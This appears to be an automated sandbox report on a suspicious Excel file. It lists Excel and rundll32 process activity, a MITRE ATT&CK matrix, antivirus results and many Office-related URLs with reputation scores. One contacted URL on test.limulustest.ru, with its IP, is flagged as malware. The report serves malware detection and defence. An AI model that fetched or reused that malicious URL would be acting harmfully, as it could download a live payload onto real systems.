Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: rundll32.exe, 00000001.00000002.255821696.0000000004260000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: rundll32.exe, 00000001.00000002.255821696.0000000004260000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: rundll32.exe, 00000001.00000002.255821696.0000000004260000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: rundll32.exe, 00000001.00000002.255821696.0000000004260000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting11Path InterceptionProcess Injection1Masquerading1OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumNon-Application Layer Protocol2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol12Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Rundll321Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationIngress Tool Transfer1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting11LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://officeci.azurewebsites.net/api/0%VirustotalBrowse
https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
http://test.limulustest.ru/invzovg/5319402.jpg1%VirustotalBrowse
http://test.limulustest.ru/invzovg/5319402.jpg100%Avira URL Cloudmalware
https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
test.limulustest.ru
188.225.73.5
truefalse
    unknown

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://test.limulustest.ru/invzovg/5319402.jpgtrue
    • 1%, Virustotal, Browse
    • Avira URL Cloud: malware
    unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    https://api.diagnosticssdf.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
      high
      https://login.microsoftonline.com/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
        high
        https://shell.suite.office.com:1443E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
          high
          https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorizeE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
            high
            https://autodiscover-s.outlook.com/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
              high
              https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                high
                https://cdn.entity.E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                unknown
                https://api.addins.omex.office.net/appinfo/queryE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                  high
                  https://wus2-000.contentsync.E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  https://clients.config.office.net/user/v1.0/tenantassociationkeyE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                    high
                    https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                      high
                      https://powerlift.acompli.netE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://rpsticket.partnerservices.getmicrosoftkey.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://lookup.onenote.com/lookup/geolocation/v1E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                        high
                        https://cortana.aiE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                          high
                          https://cloudfiles.onenote.com/upload.aspxE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                            high
                            https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                              high
                              https://entitlement.diagnosticssdf.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                high
                                https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                  high
                                  https://api.aadrm.com/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  https://ofcrecsvcapi-int.azurewebsites.net/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                  • 0%, Virustotal, Browse
                                  • Avira URL Cloud: safe
                                  unknown
                                  https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciesE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                    high
                                    https://api.microsoftstream.com/api/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                      high
                                      https://insertmedia.bing.office.net/images/hosted?host=office&amp;adlt=strict&amp;hostType=ImmersiveE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                        high
                                        https://cr.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                          high
                                          https://portal.office.com/account/?ref=ClientMeControlE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                            high
                                            https://ecs.office.com/config/v2/OfficeE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                              high
                                              https://graph.ppe.windows.netE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                high
                                                https://res.getmicrosoftkey.com/api/redemptioneventsE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://powerlift-frontdesk.acompli.netE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://tasks.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                  high
                                                  https://officeci.azurewebsites.net/api/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                  • 0%, Virustotal, Browse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://sr.outlook.office.net/ws/speech/recognize/assistant/workE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                    high
                                                    https://store.office.cn/addinstemplateE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://wus2-000.pagecontentsync.E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://outlook.office.com/autosuggest/api/v1/init?cvid=E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                      high
                                                      https://globaldisco.crm.dynamics.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                        high
                                                        https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                          high
                                                          https://store.officeppe.com/addinstemplateE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://dev0-api.acompli.net/autodetectE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://www.odwebp.svc.msE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://api.powerbi.com/v1.0/myorg/groupsE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                            high
                                                            https://web.microsoftstream.com/video/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                              high
                                                              https://graph.windows.netE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                high
                                                                https://dataservice.o365filtering.com/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://officesetup.getmicrosoftkey.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://analysis.windows.net/powerbi/apiE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                  high
                                                                  https://prod-global-autodetect.acompli.net/autodetectE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  unknown
                                                                  https://outlook.office365.com/autodiscover/autodiscover.jsonE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                    high
                                                                    https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-iosE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                      high
                                                                      https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                        high
                                                                        https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                          high
                                                                          https://onedrive.live.com/about/download/?windows10SyncClientInstalled=falseE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                            high
                                                                            https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                              high
                                                                              http://weather.service.msn.com/data.aspxE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                high
                                                                                https://apis.live.net/v5.0/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                unknown
                                                                                https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asksE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                  high
                                                                                  https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                    high
                                                                                    https://autodiscover-s.outlook.com/autodiscover/autodiscover.xmlE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                      high
                                                                                      https://management.azure.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                        high
                                                                                        https://incidents.diagnostics.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                          high
                                                                                          https://clients.config.office.net/user/v1.0/iosE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                            high
                                                                                            https://insertmedia.bing.office.net/odc/insertmediaE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                              high
                                                                                              https://o365auditrealtimeingestion.manage.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                high
                                                                                                https://outlook.office365.com/api/v1.0/me/ActivitiesE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                  high
                                                                                                  https://api.office.netE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                    high
                                                                                                    https://incidents.diagnosticssdf.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                      high
                                                                                                      https://asgsmsproxyapi.azurewebsites.net/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      unknown
                                                                                                      https://clients.config.office.net/user/v1.0/android/policiesE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                        high
                                                                                                        https://entitlement.diagnostics.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                          high
                                                                                                          https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.jsonE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                            high
                                                                                                            https://outlook.office.com/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                              high
                                                                                                              https://storage.live.com/clientlogs/uploadlocationE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                high
                                                                                                                https://templatelogging.office.com/client/logE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                  high
                                                                                                                  https://outlook.office365.com/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                    high
                                                                                                                    https://webshell.suite.office.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                      high
                                                                                                                      https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDriveE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                        high
                                                                                                                        https://management.azure.com/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                          high
                                                                                                                          https://ncus-000.contentsync.E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          unknown
                                                                                                                          https://login.windows.net/common/oauth2/authorizeE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                            high
                                                                                                                            https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFileE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            unknown
                                                                                                                            https://graph.windows.net/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                              high
                                                                                                                              https://api.powerbi.com/beta/myorg/importsE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                high
                                                                                                                                https://devnull.onenote.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.jsonE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://messaging.office.com/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://contentstorage.omex.office.net/addinclassifier/officeentitiesE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://augloop.office.com/v2E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://skyapi.live.net/Activity/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://clients.config.office.net/user/v1.0/macE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://dataservice.o365filtering.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://api.cortana.aiE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://onedrive.live.comE7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://ovisualuiapp.azurewebsites.net/pbiagave/E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drfalse
                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                  unknown
